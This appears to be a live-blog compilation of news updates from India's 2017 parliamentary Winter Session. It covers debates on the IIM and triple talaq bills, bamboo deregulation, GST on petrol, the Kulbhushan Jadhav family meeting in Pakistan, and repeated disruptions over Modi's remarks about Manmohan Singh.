IIM amendment bill proposes larger autonomy for management institutes and provisions to allow them to grant postgraduate degree rather than a diploma

In Lok Sabha, Dushyant Chautala raises point of depleting water resources as House debates increasing budget for development of waterways

The matter was raised by Bhartruhari Mahtab of the Biju Janata Dal (BJD) during Zero Hour.

After Lok Sabha members on Tuesday expressed concern over the Brahmaputra river being polluted by China, Parliamentary Affairs Minister Ananth Kumar assured the House that he will take up the issue at the "highest level" in the government.

Lok Sabha members seek talks with China on Brahmaputra pollution; Ananth Kumar vows to raise issue at 'highest level'

He also brought up the problems faced by students passing from regional language schools.

Agrawal said he would support the bill only for the fact that at least there was some will to bring about the change. He, however, lamented the lack of similar reforms in other educational institutes such as IITs or other higher education institutes.

Naresh Agrawal says he supports IIM bill but questions lack of similar reforms in IITs, AICTE

Gadkari told the Lok Sabha that a river traffic control system was already functioning between Haldia and Patna. He added that work on 10 waterways will be completed by 2018.

Work on 10 waterways will be completed by 2018: Gadkari tells LS

In a written reply in the Lok Sabha, Union Minister of State (Independent Charge) for Housing and Urban Affairs Hardeep Singh Puri, however, said the rural development ministry had advised the states and union territories to explore the possibilities of using consent-based Aadhaar authentication for registration of properties under the provisions of the Registration Act, 1908.

There was no proposal to make Aadhaar linkage mandatory for property transactions, Parliament was informed today.

No proposal to make Aadhaar linkage mandatory for property, says govt

Lok Sabha concludes proceedings for the day, to reconvene tomorrow at 11 am

Congress leader said that the government should describe how they plan the transition between the current boards at IIMs and the Board of Governors as proposed in the new bill. He also asked what would be the criteria for appointment of these governors.

Jairam Ramesh questions how board of directors will be appointed at IIMs after new bill

Times Now reports that the government may meet Opposition leaders in a bid to find an amiable solution to the deadlock that rose after Narendra Modi insinuated that Manmohan Singh and his colleagues met Pakistani delegation during elections.

The Indian Institute of Petroleum and Energy Bill, 2017 will be tabled by Petroleum Minister Dharmendra Pradhan in the Rajya Sabha.The bill will make it an institution of national importance.

Law Minister Ravi Shankar Prasad said the old and many irrelevant pre-Independence laws were the "unfortunate part of the colonial legacy" and repealing them was a progressive move that reflects the "pro-reform" approach of the government.

The Lok Sabha also passed two Bills to repeal 245 obsolete and archaic laws, including the 158-year-old Calcutta Pilots Act of 1859 and the 1911 Prevention of Seditious Meeting Act.

The bill gives them powers to award degrees instead of postgraduate diplomas.

The Indian Institutes of Management Bill, 2017  which was passed in the Lok Sabha in July this year  grants statutory powers to the IIMs in their running including the appointment of directors and faculty members.

The bill amended the companies law to strengthen corporate governance standards, initiate strict action against defaulting companies and help improve ease of doing business in the country.

The Rajya Sabha passed the Companies (Amendment) Bill, 2017 by a voice vote. It was adopted by the Lok Sabha in July this year during the Monsoon Session.

"Now you are in the opposition and have a greater flexibility in changing your position," he said. He said the present government has persuaded the states to include petrol within the GST and the states reluctantly agreed to do so.

He also sought to know why the prices of petrol and diesel did not decline with a fall in the global crude prices. Jaitley responded saying that a person familiar with the issue had asked the question. He said the UPA in its draft GST bill had kept petrol out of its ambit as it knew that the issue would be a deal-breaker between the Centre and the states.

During the Question Hour in Rajya Sabha, Congress leader and former finance minister P Chidambaram sought to know the Union government's position on bringing petrol and diesel under the GST.

The Centre favours including petroleum products in the ambit of the Goods and Services Tax (GST) but it would want a consensus with the states before taking such a step, Finance minister Arun Jaitley said on Tuesday.

Day 3 of the Winter Session had some lively debate on GST

Opposition leaders come to well of the Rajya Sabha to protest against Modi's comment on Manmohan.

Venkaiah Naidu's plea to Congress MPs to go back to their seats fall on deaf ears.

Shrivastava said Veerendra Kumar, who was elected to the Upper House from Kerala last year with support from the Congress-led UDF, resigned "so that no one questions his integrity that he is aligning with (Bihar Chief Minister and JD-U President) Nitish Kumar".

The 80-year-old, also a Karala media baron, submitted his resignation to Rajya Sabha Chairman M. Venkaiah Naidu on Wednesday morning, Arun Kumar Shrivastava, also a rebel JD-U leader, told IANS.

Disgruntled Janata Dal-United leader MP Veerendra Kumar on Wednesday resigned from the Rajya Sabha, days after rebel JD-U leaders Sharad Yadav and Ali Anwar were disqualified from the Upper House.

"This is not the way," he said. "This is Parliament. This is Rajya Sabha. Wrong message is going." Stating that he did not appreciate their behaviour, Naidu said, "Please don't exceed limit. Please go to your seat."

Naidu asked them not to create obstruction and allow other members to raise important issues.

At this point, Congress members rushed to the Well of the House shouting slogans.

No sooner had the listed papers been tabled, Congress members were up on their feet demanding an explanation from the prime minister on his remarks against Singh. Naidu disallowed them.

Opposition Congress members today disrupted proceedings in the Rajya Sabha over the insinuations made by Prime Minister Narendra Modi against his predecessor Manmohan Singh.

Congress MPs continue to create a ruckus in Rajya Sabha. All Congress MPs raise slogans against Modi.

However, the Congress MPs have again created a ruckus in the Rajya Sabha over Narendra Modi's comment against Manmohan Singh. Some of the MPs descended to the well of the House. The slogans of "Narendra Modi maafi maango" are being echoed in the House.

Meanwhile... sloganeering can be heard in the Lok Sabha too

The Lower House is currently being presided by Deputy Speaker M Thambidurai. The House is discussing the Requisitioning and Acquisition of Immovable Property Bill (Amendment), 2017. The bill was tabled in the Lok Sabha by Urban Development Hardeep Singh Puri.

Over 1,000 cases of people securing jobs using forged caste certificates have been reported by various central government departments, the Lok Sabha was informed on Wednesday. The Department of Personnel and Training had in June sought data from all central government organisations regarding appointments made on the basis of fake caste certificates.- PTI

Lok Sabha informed of over 1,000 cases of people securing jobs using forged caste certificates

"There is no question of middle path...The country's prime minister has alleged that the former prime minister has taken steps against the country and that too with the enemy nation. Don't you think it is an issue that calls for an apology?" Chowdhury told reporters.- PTI

With Parliament witnessing repeated adjournments over Narendra Modi's remarks against his predecessor Manmohan Singh, Congress leader Renuka Chowdhury on Wednesday said that there was "no question of a middle path" on the matter till the prime minister apologised for his comments.

Provisions of this bill violate rights of people, whose land is being acquired: MK Premchandran, RSP

Bijoya Chakraborty of Guwahati BJP said this bill will immensely help tribal people

G Hari of AIADMK enlists benefits of bamboo, says hopes this would be taken into consideration while passing bill

BJD's Tathagata Satpathy objects to bill, says farmers will be affected by removal of bamboo from bill

More than two lakh Chinese tourists visited India in 2017, according to data provided by the tourism ministry in Parliament on Wednesday. The figures provided by Union Tourism Minister KJ Alphons in the Rajya Sabha assume significance in the backdrop of India's recent standoff with China over the Doka La issue.- PTI

The farmer does not need our sympathy, they need less interference, says Tathagata Satpathy of BJD

"I had done research. We had sent researchers in Tripura, Nagaland., Sikkim. Problems found were mainly regulatory. One of the reasons of high cost is on the count of the fact that bamboo, the amount of rent-seeking behaviour is just too much. Therefore, as a first step, we need to take a holistic approach. The first step is to redefine bamboo (by removing it from tree category)," Rai said.

Rai demanded that the bamboo be unleashed from "all kinds of regulations". In 2014, He added that he had brought a similar bill on bamboo with a private members' bill in 2014.

"People of north Sikkim were completely cut-off because of Mantam lake which was created because of landslide. They then made a bamboo bridge and are now able to cross the lake on foot," Prem Das Rai said in Lok Sabha.

In India, one tonne bamboo costs Rs 10, 000 in some parts and Rs 10-15,000 in other parts

The legislation to amend the Indian Forest Act to exempt felling and transportation of bamboo grown in non-forest areas from the state permit, was tabled in the Lok Sabha on Wednesday. The Indian Forest (Amendment) Bill, 2017  which would omit bamboos growing in non-forest areas from the definition of trees  was introduced by Environment Minister Harsh Vardhan even as BJD leader B Mahtab raised concerns and opposed the legislation.- PTI

Legislation to amend the Indian Forest Act to exempt felling and transportation of bamboo

Union environment minister Harshvardhan says soon people will be encouraged to take up bamboo cultivation

Vociferous sloganeering on Thursday disrupted Sachin Tendulkar's maiden speech in the Rajya Sabha since his nomination. Members of the Opposition shouted "BJP sharam karo" as sloganeering continued in the Upper House of Parliament on the fourth day. Rajya Sabha was adjourned till 11 am on Friday following stormy scenes on the floor of the House.

BJP MP Vinay Sahasrabuddhe has given adjourned motion notice in Rajya Sabha under rule 267 on remarks of Congress leaders against PM Modi

Law Minister Ravi Shankar Prasad introduced the bill which will double the salaries of judges of the Supreme Court and 24 high courts, reported The Indian Express . The High Court and Supreme Court Judges (Salaries and Conditions of Service) Amendment Bill 2017 provides for increased salaries as recommended by the Seventh Pay Commission.

Discussion on natural calamities in the country with special reference to cyclone Ockhi in South India

In the Rajya Sabha, M Venkaiah Naidu read the obituary of legislator Jalaluddin Ansari and a minute's silence was observed. Question hour starts in Lok Sabha.

Business in the Rajya Sabha is proceeding fairly quietly while there is constant sloganeering in the Lok Sabha by the Opposition.

Raut raises the issue of the deaths in the Gorakhpur hospital. He asks for the Centre to keep a check on the funds which are given to the state governments for health issues. Anupriya Patel, MoS, Health and Family Welfare answers saying that the Centre does indeed monitor the funds and the MP could monitor those funds for their own constituency as well.

Trinamool Congress MP Derek O'Brien says Rajya Sabha TV should not be cut off when protests are taking place as that is one of the ways for the Opposition to express itself

Leader of Opposition Ghulam Nabi Azad asks for Rajya Sabha to be adjourned till the parties decide on the remarks issue outside Parliament

In the Rajya Sabha, the Opposition insists that it is better to adjourn the matter with it raising uproar. It asks the Rajya Sabha to be adjourned till 2 pm till when the issue is resolved.

Adjournment means no legislative business will take place in the Rajya Sabha over the next four days as well

It seems doubtful that Triple Talaq criminalisation bill will be discussed today

The issue of nurses' allowances has been raised. The concerned minister insists that most of the nurses' demands have been met and discussions are ongoing for the others.

In the revised list issued by the Lok Sabha, the Muslim Women (Protection of Rights of Marriage) Bill, 2017 was removed. In the original list , law minister Ravi Shankar Prasad was scheduled to introduce a bill to "protect the rights of married Muslim women and to prohibit divorce by pronouncing talaq by their husbands and to provide for matters connected therewith or incidental thereto".

BJP MP from Rajasthan, Dushyant Singh, asks a question about the conservation of tigers

He admits that enough warning was given but there is a need for specific alarm systems. "Modern technology is needed to help the people. Unfortunately there has been a lapse by the authorities in informing the people about the cyclone. I am not blaming anyone as this should not be a political issue," he said.

Professor Richard Hay, the nominated member from Kerala, talks about the ground situation in Kerala in the aftermath of Cyclone Ockhi

Richard Hay says he had visited the coastal area of Kerala and Kanyakumari himself. "The fisherfolk want homes, food, education and security. I am not getting this from the media. I have visited the people and have listened to them. Prime Minister Narendra Modi and defence minister Nirmala Sitharaman had consoled those people," he said.

Kerala MP Richard Hay talks about the coastal areas affected by the cyclone

Mahtab talks about how unseasonal rain and cyclones cause great harm to crops and farmers as well. He says the infrastructure needs to rebuilt after these calamities.

"Once the deadlock in the Parliament is resolved, we will raise the issue of Jadhav in Parliament. What has happened to Jadhav's family in Pakistan is inhuman. We will demand a discussion on this issue in the House and will ask the Centre and the international community to ask an explanation from Pakistan on this matter."

The Opposition, led by the Congress, plans to corner the central government in Parliament over the issue of Kulbhushan Jadhav, a report on India Today said. Congress leader Pramod Tewari was quoted as saying the party wants the government to clear its policy on how it plans to bring Kulbhushan Jadhav back from Pakistan.

Trinamool joins Opposition Congress party in demanding a statement from the Ministry of External Affairs over the Kulbhushan Jadhav's meeting with his wife and mother in Pakistan.

Any view that Narendra Modi meant to insult Manmohan Singh or other leaders during election speeches is erroneous and uncalled for, Arun Jaitley says

I,on behalf of Congress, say that we disassociate from any comments that may have hurt prime minister's dignity, says GN Azad of the Congress

Soon after the Lok Sabha resumed, Congress MP's started waving placards at the Treasury benches. They were protesting against Anant Kumar Hegde's comments on Constitution.

Amid controversy over Naresh Agrawal's comment, the SP MP has written to Rajya Sabha chairman over the alleged ill-tretment of Indian prisoners in Pakistan. He also alleged that the government was not doing anything about it.

Naresh Agrawal writes to Rajya Sabha chairman over ill-treatment of Indian prisoners in Pakistan

AITMC MP Saugata Roy requested the Speaker to not pass bills while the House is not in order. He also said that the Speaker must pull up Union minister Anantkumar Hegde for insulting the makers of Constitution. He also added that he would not voice his opinions in the House as a mark of protest. Lok Sabha Chairman, however, dismissed the request and added that the House cannot be adjourned every day.

Don't make it a practice to pass bills in din, pull up Union minister Anantkumar Hegde, Saugata Roy tells Speaker

From the Opposition, CPM MP Mohd. Saleem stood up to respond but refused to speak during the din. He again brought up the comments made by Hegde, but the Speaker refused to take those remarks on record.

Discussion about unauthorised colonies in Delhi is underway in Lok Sabha. BJPs Ramesh Vidhudi has alleged that the Congress party has left the issue hanging for years.

The Speaker took strong objection to the use of words and expunged the comments from record. She also added that nobody knows for certain what the minister had said, and since he was not present in House, the House's time should not be wasted on the issue.

Reacting to Anantkumar Hegde's comments on secularists and the Constitution, senior Congress MP Malliakrjun Kharge attributed these words to Hegde: Those who label themselves secularists, they neither have mothers nor fathers, their blood line is not know. Kharge then asked that whether the minister was calling secularists Ba*****.

Ruckus in Lok Sabha over Mallikarjun Kharge's use of unparliamentary word

"I just want to say that Modi ji and our Govt are committed to the constitution of India and ideals of Baba Saheb Ambedkar: Ananth Kumar," Parliamentary Affairs Minister in Lok Sabha on Opposition uproar over Union Minister Ananth Kumar Hegde's remark.

In a reply to a question from Satyapal Singh, Minister of State for Human Resource Development (Higher Education), Rajan Gohain, MoS, Railways said in Lok Sabha that patients suffering from arthritis can book a berth of their choice (lower berth in this case) on first come-first serve basis.

The railways today said it had no quota for patients suffering from arthritis and no plans of offering any concession in passenger fare for them as it was already losing revenue over the discounts granted in over 50 categories.

Parliamentary Affairs Minister Ananth Kumar said he will convey their demand to the Law Minister. Later, Law Minister Ravi Dhankar Prasad said he will give a statement on the issue tomorrow. At present, the Andhra Pradesh High Court is the common High Court for both Andhra Pradesh and Telangana.

The TRS MPs also trooped into the Well of the House, showing placards and raising slogans demanding setting up of a High Court for Telangana.

Members of the Telangana Rashtra Samithi (TRS) disrupted proceedings in the Lok Sabha demanding immediate setting up of a High Court for Telangana. Raising the issue, TRS parliamentarian AP Jithender Reddy said the Centre is yet to set up a High Court for Telangana even three years after the formation of the state.

The approved strength of the Supreme Court is 31, including the Chief Justice of India (CJI).

There are six vacancies of judges in the Supreme Court, while nine high courts are working without regular chief justices, but the government has not received any proposal from the apex court collegium to fill up the slots, the Rajya Sabha has been informed. Union Minister of State for Law P P Chaudhary, in a written reply, has informed the Upper House of Parliament that the "government has not received any proposal for filling up of the six vacancies of judges in the Supreme Court and for appointment of chief justices in the nine high courts, which are functioning with acting chief justices".

'Govt yet to receive proposal to fill up judges' vacancies in SC'

Urban Development Minister Hardeep Singh Puri said if the Bill is not passed, it will lead to "unprecedented chaos" in the national capital. The legislation will give cover against punitive action on "as is where is basis" until December 2020, he said.

The Lok Sabha today passed a bill to protect slums and unauthorised colonies in the national capital region from punitive action till a framework for orderly arrangements are in place. The National Capital Territory of Delhi Laws (Special Provisions) Second (Amendment) Bill gives immunity to slums and some unauthorised constructions till 31 December, 2020. The immunity under the existing Bill ends on 31 December.

Rajya Sabha extends time until The Indian Institute of Petroleum and Energy Bill, 2017 is passed

"Many members have expressed concerns over the autonomy of the institute. I would like to assure them in this House today that it is our government's intention to make the institute fully autonomous. However, we cannot expect it to turn into a JNU, or DU from day 1. In the initial phases, there will be some hand holding but later on it will be completely autonomous.," Pradhan said.

Union Minister Dharmendra Pradhan assures RS of autonomous functioning of new Indian Institute of Petroleum

The authorities were ascertaining whether the "metallic object" in the shoes was a camera or a recording chip, Pakistan Today quoted Foreign Office (FO) spokesperson Mohammad Faisal as saying.

Pakistani authorities have sent the shoes worn by Kulbhushan Jadhav's wife for forensic examination to determine the nature of the suspected presence of a foreign object, a media report said on Wednesday.

"There was something in the shoe. It is being investigated. We gave her a pair of replacement shoes. All her jewellery et cetera were returned after the meeting," Faisal said.

In the statement, Pakistan had rejected as "baseless" India's contentions that Jadhav's wife and mother were harassed and claimed that his wife's shoes were confiscated on security grounds as there was "something" in it.

"This included removal of mangal sutra, bangles, and bindi, as well as a change in attire that was not warranted by security," it said.

India also accused Pakistan of disregarding cultural and religious sensibilities of family members under the pretext of security.

The external affairs ministry said in a statement on Tuesday that Pakistan went so far as to have the mangal sutra, bangles, and bindi of Jadhav's mother and wife removed before they could meet him.

The diplomatic strain over Jadhav's meeting with his family grabbed headlines not just in India, but also in Pakistan. Almost all major Pakistani newspapers gave prominence to the issue and carried reports of the Foreign Office issuing statement after India claimed that Jadhav's responses were "clearly tutoured" that the alleged spy was "under duress" during the meeting.

The editorial lauds the Pakistan government's attempts to do what was "necessary in the international scheme of things" and "ignoring the deafening cacophony to do what was necessary."

The Nation commented on the "cacophony of opinions" circling the issue. The piece in The Nation took a more balanced view of the issue at hand and wrote, "Ultimately however, these are all irreconcilable opinions and each can be considered correct if viewed from their subjective angle."

"We are even more depressed now than we were before the visit," a relative of Kulbhushan Jadhav told news agency PTI. The family refrained from commenting further as it is an international issue. "If we speak something about it, that may hamper the process," he said.

Various political parties, including the Shiv Sena, Trinamool Congress and AIADMK, strongly protested how Pakistan treated the wife and mother of Kulbhushan Jadhav, a former navy officer sentenced to death in Pakistan. The episode drew outrage on social media as well.

Jadhav's mother and wife were also harassed and subjected to outrageous questions by Pakistani journalists after they were forced to wait for their car. The family faced questions hurled at them like - "Aapke patidev ne hazaron begunah Pakistaniyo ke khoon se Holi kheli ispar kya kahengi? (your husband killed thousands of innocent Pakistanis, what do you have to say about that?)'" and "Aapke kya jazbaat hain apne kaatil bete se milne ke baad? (How do you feel after meeting your killer son?)".

According to CNN-News18, the BJP has issued a whip to all its MPs to attend today's proceedings in Parliament. The Lok Sabha will be discussing the triple talaq bill today.

The Indian National Congress is celebrating its 133rd foundation day today. It is for the first time that Rahul Gandhi will be steering an event as the president of the party.

Union Minister Harsimrat Kaur Badal hit back at the Congress, saying she does not know to what level theopposition party can fall, if it could not come together on the issue of treatment of women by a "terrorist" country which always worked towards harming India.

Senior Congress leader Veerappa Moily on Wednesday hit out at the government, accusing it of "diplomatic failure", after Kulbhushan Jadhav's mother and wife were harassed by the Pakistani side during their meeting with the Indian national in Islamabad.

The Constitution is under threat, says Rahul Gandhi

We will get some relief because of new law, says a victim

The bill, prepared by an inter-ministerial group headed by Home Minister Rajnath Singh, makes instant triple talaq or talaq-e-biddat in any form  spoken, in writing or by electronic means such as email, SMS and WhatsApp  "illegal and void" and provides for a jail term of three years for the husband.

The Muslim Women (Protection of Rights on Marriage) Bill is listed for introduction in the Lok Sabha by Law Minister Ravi Shankar Prasad on 28 December, according to the list of business in the Lower House.

The bill will increase the salaries of the Chief Justice of India, other judges of the Supreme Court, chief justices of the high courts as well as other judges of high courts by over 2 times.

Later, Prasad will table The High Court And The Supreme Court Judges (Salaries And Conditions Of Service) Amendment Bill, 2017.

In Lok Sabha, Urban Development Minister Hardeep Puri will table The Public Premises (Eviction of Unauthorised Occupants) Amendment Bill, 2017.

Bills to be tabled in Lok Sabha apart from triple talaq

He was of the view that Pakistan "did not do any good for itself" by its handling of the meeting while showcasing to the world its gesture, a statement issued by the Vice President's Secretariat said.

Referring to the restrictions, Naidu said the move to ask Jadhav's wife take off her 'mangal sutra' has not got down well with the people of India.

Vice President M Venkaiah Naidu termed as "inhuman" the restrictions imposed by Pakistan during Kulbhushan Jadhav's meeting with his wife and mother in Islamabad, saying it has hurt the sentiments of Indians.

Sources told CNN-News18 that Pakistan will share the report on Kulbhushan Jadhav's wife Chetnakul's slipper with India. Pakistan had taken the slipper away suspecting a metallic object to be in it.

This day will be more significant in Muslim women's life than Eid or Bakrid, says victim

Congress sources tell CNN-News18 is that the party will be supporting the anti-triple talaq bill. However, the party is apprehensive of the criminality clause in the law, adding that the three-year jail for the divorce is arbitrary and Draconian.

Three days after his controversial statement over the word 'secularism' in the Constitution, Union Minister Anant Kumar Hegde has said the Constitution of India is supreme for him.

"I can never go against the Constitution as a citizen. It is Supreme for me," says Union Minister Anant Kumar Hegde. However, Mallikarjuna Kharge interrupts and says that Hegde has insulted Babasaheb Ambedkar.

Anant Kumar Hegde once again clarifies his statement in Lok Sabha

The Upper House is awaiting a statement by Sushma Swaraj over Kulbhushan Jadhav row.

The Rajya Sabha is moving smoothly right now

"We fear that if we speak a lot here, then there will be a danger to the life of Jadhav. but we know that the Pakistani Army does not believes in democracy. It does not know how to behave with prisoners who have been implicated in false case. What they did with Jadhav's wife and mother is condemnable. We may have political differences but on this issue we stand with the government," the LoP in Rajya Sabha said.

"I spoke to the family of Kulbhushan Jadhav over the phone. She said that he was speaking under duress. He was telling whatever he was being tutored. He did not look healthy too. I hope people all Members of Parliament as well as the common man will denounce the behaviour of Paksitan," Sushma Swaraj said while concluding her statement.

In a rare sense of unity, all parties in the Rajya Sabha have denounced the manner in which Jadhav's family was treated in Pakistan.

"It was nothing like a humanitarian gesture. Human rights of the family members were violated again & again & an environment of fear was created for them," External Affairs Minister Sushma Swaraj said in Rajya Sabha

'It was nothing like humanitarian gesture'

"Kulbhushan Jadhav's mother was not allowed to speak in Marathi. Two Pakistani officials present in the meeting kept stopping her repeatedly but when she continued, the intercom was switched off," Sushma Swaraj said in Rajya Sabha.

Jadhav's mother was not allow to speak in Marathi

Union Minister Ramdas Athavale gives a poetic statement to back Sushma Swaraj's statement, "Kulbhushan ki khatre mey hai jaan, Hua hai unke maata pita ka apmaan". He also thanked the Congress for supporting the government.

Rahul had twisted Jaitley's name as "Jaitlie" in his tweet.

The Rajya Sabha adjourned till 12 pm after Congress raises objections over Hegde's comments on the Constitution.

After harassing his mother and wife, Pakistan media now claims that Kulbhushan Jadhav "confessed" to being an "Indian spy" during the trio's recent meeting. Pakistan's Geo News claims that the mother immediately chided Jadhav and asked him to speak the truth. The mother and wife, after the meeting, have repeatedly reiterated that the former Navy officer was being forced to toe Pakistan's narrative.

Lok Sabha held its Question Hour, which went on smoothly.

The Congress party is continuing to create a ruckus in the Rajya Sabha over Union Minister Anant Kumar Hegde's comments against the Constitution. The Congress MPs are demanding a point of order in Question Hour. However, Chariman Venkaiah Naidu refused to allow it.

The Rajya Sabha has been adjourned within five minutes after being reconvened. The Upper House has been adjourned till 2 pm.

"In April 2017, I had said that the death sentence was given in illegal manner. We were in constant touch with the family. We were helping them connect with Jadhav. The Pakistan government allowed a meeting in December. It is unfortunate that the meeting could have been a path-breaking event but Pakistan used it as a propaganda tool,"

Deputy High Commissioner wasn't allowed to come with family, says Sushma Swaraj

Not returning the shoes was an act of cruelty, says Swaraj

Opposing the bill over the criminalisation of the Islamic practice, Owaisi said that the law will be injustice to Muslim woman and lead to the abandonment of Muslim woman.

Toeing the Opposition's line, the Biju Janata Dal said that the bill has fundamental flaws in it.

"This is a hisotric day for India. This law is not linked to any religion, it is about the honour of women. The SC outlawed talaq e biddat But still goes on. Injustice is still going on. However, I ask whether the Parliament will still be silent? The parliament has to decide whether the Muslim women have any rights. Triple talaq still goes on. We are bringing a law finally. People say that it is against basic structure of the Constitution but isn't the honour of women important?" asked Law Minister Ravi Shankar Prasad.

Triple talaq bill is for the honour of women, says RS Prasad

Leader of Congress in Lok Sabha, Mallikarjun Kharge says that the party does not support the triple talaq bill as ruckus breaks out in the Lower House over the bill.

On Thursday morning, in Uttar Pradesh's Rampur district, a woman was divorced through instant triple talaq for waking her husband up late in the morning. The husband left his home after divorcing her and is untraceable as of yet.

The triple talaq bill will be put to vote and passed in the Lok Sabha today itself, announced Speaker Sumitra Mahajan.

Pakistan Foreign Office is set to hold a press conference at 5:30 pm IST. The dept will be responding to Indias claims that #KulbhushanJadhavs family was mistreated. Pak FO will also clarify its stand on taking away Jadhavs wifes shoes and not returning them.

While the discussion and voting over the triple talaq bill will take place after 2 pm, the Lok Sabha is currently conducting Zero Hour.

Speaking during the Zero Hour, West Bengal Congress MP Adhir Ranjan Chowdhary said, "Maldives media has been showing Narendra Modi as anti-Muslim. Now, China through its OBOR plan is entering the periphery of our neighbouring countries. I believe that our neighbourhood policy needs to be reoriented."

Neighbourhood policy needs to be re-oriented, says Adhir Ranjan Chowdhary

"Congress supports the Supreme Court's judgment. Triple talaq should definitely go but as far as the bill is concerned, it will be scrutinised by the Parliamentary committee. If there are difficulties in the provisions that will be dealt with. Congress is definitely supporting triple talaq bill but the provisions will be scrutinised," says Manish Tiwari to CNN-News18.

Now, Pakistani authorities are talking of chip, camera or a recorder being installed in the shoes, she said. The charge is "absurbity beyond measure," she said, adding that the two women had cleared security at airports in Delhi and Dubai and in Pakistan and no such device was detected during these thorough airport security checks there.

"The Pakistan authorities have been cautioned against any mischievous intent in this regard through a Note Verbale yesterday," PTI quoted her as saying.

After the meeting, Pakistani authorities also did not return the shoes of Jadhav's wife despite repeated requests. Swaraj said not returning the shoes has given rise to suspicion that Pakistan was up to some "mischief".

This money will be spent on the affected people and areas, Tomar said while replying to a question during the Question Hour.

Mines Minister Narendra Singh Tomar told the Lok Sabha that district mineral foundations, which were created after the Mines and Minerals (Development and Regulation) Amendment Act came into being, have received Rs 13,398 crore and Rs 2,260 crore have been spent so far in developing local areas.

A new law, which has made it mandatory for spending of a part of revenue made from auctioning mines in developing the areas they are located in, has resulted in improved living conditions of people in these regions, government claimed today.

It takes time to set up separate high courts after bifurcation of states. Andhra Pradesh and Telangana need to sort out the issue with mutual consent, law minister Ravi Shankar Prasad. Responding to the questions related to the bifurication issues, Home Minister Rajnath Singh added that governments of both states need to work together to resolve the issue.

However, the Chair urges Congress MP BK Hariprasad to express regret for defying Chairman of the House.

With the GST bill being declared a money bill, SP's Rajya Sabha MP Naresh Agrawal cries foul, saying that if every bill passed in the Lok Sabha is declared a money bill, then what will be the utility of the Upper House. To this, PJ Kurien, the deputy chairman of the House , taunted that the Samajwadi MP can amend the Constitution if he wants to.

If every bill is money bill, then what is the use of Rajya Sabha? asks Naresh Agrawal

"Nobody wants anyone to become unemployed. We don't want Air India to go the Kingfisher (Airlines) way. We want the Air India to serve the nation, to serve the people and fly high," he said during the Question Hour.

The government does not want anyone working in Air India to lose job, Raju said in the Lok Sabha, adding that the disinvestment process of the national carrier has been initiated.

The government does not want Air India to become defunct like the Kingfisher Airlines, promoted by embattled liquor baron Vijay Mallya, and wants it to serve the nation, Civil Aviation Minister Ashok Gajapathi Raju said today.

Don't want Air India to go Kingfisher's way: Govt

Given the circumstances detailed above, it seems naive at best  and delusional at worst  not to have expected the very worst from Pakistani hospitality in this situation, because it's clear that Islamabad expected the worst from New Delhi. Ultimately, Pakistan treated the family of someone it accuses of spying on it (and being involved in the deaths of many of its citizens) in a very predictable manner.

By March 2019, all homes in the country will be provided uninterrupted 24-hour power supply throughout the year, Power Minister R K Singh said today. Singh said by December 2018, 1,694 villages, which are yet to be electrified, will have electricity connection and works in this regard has been going on. All homes will get 24-hour power by March 2019, he said during Question Hour in the Lok Sabha.

Law Minister Ravi Shankar Prasad introduced the Muslim Women (Protection of Rights on Marriage) Bill, calling it a "historic day" amid opposition to its introduction by members of different parties, including RJD, AIMIM, BJD and All India Muslim League.

A bill to make instant triple talaq illegal and void and awarding a jail term of three years for the husband, was introduced in the Lok Sabha today.

Bill on National Capital Territory of Delhi Laws (Special provisions) Second Amendment Bill 2017 has been tabled in Rajya Sabha. The Lok Sabha had passed the bill on Wednesday.

The immunity under the exisiting Bill ends on 31 December. Urban Development Minister Hardeep Singh Puri said if the Bill is not passed, it will lead to "unprecedented chaos" in the national capital.

The National Capital Territory of Delhi Laws (Special Provisions) Second (Amendment) Bill gives immunity to slums and some unauthorised constructions till 31 December, 2020.

On Wednesday, Lok Sabha had passed the bill to protect slums and unauthorised colonies in the national capital region from punitive action till a framework for orderly arrangements are in place.

What will The National Capital Territory of Delhi Laws (Special Provisions) Second (Amendment) Bill do?

"Countries like Eqypt, Pakistan, Bangladesh have regulated triple talaq. The Islamic countries have regulated triple talaq. They have said you can't say talaq in one sitting. The big question that I want to raise is that Islamic. India is a secular country. If here the women are facing abuse, we need to take a decision," said Prasad.

"We hoped that the condition would improve after the Supreme Court's decision," said law minister Ravi Shankar Prasad.

Prasad, who is also the IT minister, further added: "I had gone to Patna. I witnessed burqa-clad women were learning IT. On one side, we are hailing digital India and on the other side there is 'talaq, talaq, talaq'". Lok Sabha is India's biggest panchayat. I appeal, firstly, that this bill not be seen as a succession bill. Secondly, don't tie it under caste aspect,and, thirdly, don't tie it with religion. Fourthly, don't view it under vote bank."

"The issue is not of faith, or puja but it is simply of gender justice, equality," said law minister Ravi Shankar Prasad.

In Lok Sabha, Ravi Shankar Prasad says bill on triple talaq protects rights of women

INC leader Sushmita Dev said, "When the Supreme Court's judgment came Congress had a press meet. We welcomed the Supreme Court judgment. When the Supreme Court requested the Parliament to legislate on it, in a technical term, I'd say it was a minority judgment. The bill seeks to amend a critical law. We have seen historically that talaq is a unilateral act. Since 1939, women have been approaching court. However, the reality is, that this is a practice that is prevalent till today."

INC leader Sushmita Dev said in Lok Sabha: "Everybody wants social reforms. It is not just an idea, it is a right. I want to ask Ravi Shankar Prasad, will we see the women's reservation bill coming to the Parliament. It is not just the representation of women, if you would have allowed more women in the Parliament, a legislation like this, full of lacunae, wouldn't have seen the light of the day in this House."

Lekhi went on to call the practice of instantaneous divorce as "a joke on marriage". "This is practice over Whatsapp, email, text message. When you get married, you take the society along with you," she said

"Like other countries, India should ban triple talaq," said BJP leader Meenakshi Lekhi.

Lekhi said that the laws of the Hindus and the Christians have been modified such that customary practices do not interfere with the rights of women. Women are the biggest minority in this country, Lekhi said.

"The bill is not a ramvan to end all miseries. The practice of triple talaq needs to be discouraged. Supreme Court has said it is an arbitrary practice. Many people think women are commodities and that needs to be stopped," she further said.

"Why didn't UPA end medieval laws," BJP leader Meenakshi Lekhi asked in Lok Sabha as the Lower House discussed the bill on triple talaq.

"Our opposition is about the way you intend to apply this bill. This bill is definitely not an initiative of this government. We always pass bills but we always seem to forget the implementation aspect and that is where things are going wrong in this country. Despite the AIMPLB saying that no such acts will happen, 100 plus annulments happened after the Supreme Court judgment."

In Lok Sabha, Biju Janata Dal leader Tathagata Satpathy said: " This is about more than a decade that I have been noticing, we have only been passing economy-related bill. This (bill on triple talaq) is one of the socially relevant bill that the govt has found time for. The Opposition is very focussed. We are opposing the way it is being introduced.

He added: "Bringing in criminality angle. When we are talking about introducing criminality into divorce, this is a civil matter. I am talking of the poorest of the poor. They see law in different angles. When there is compulsion by law that either you live together or go to prison, there could be happenings that are beyond the control of the government functionaries."

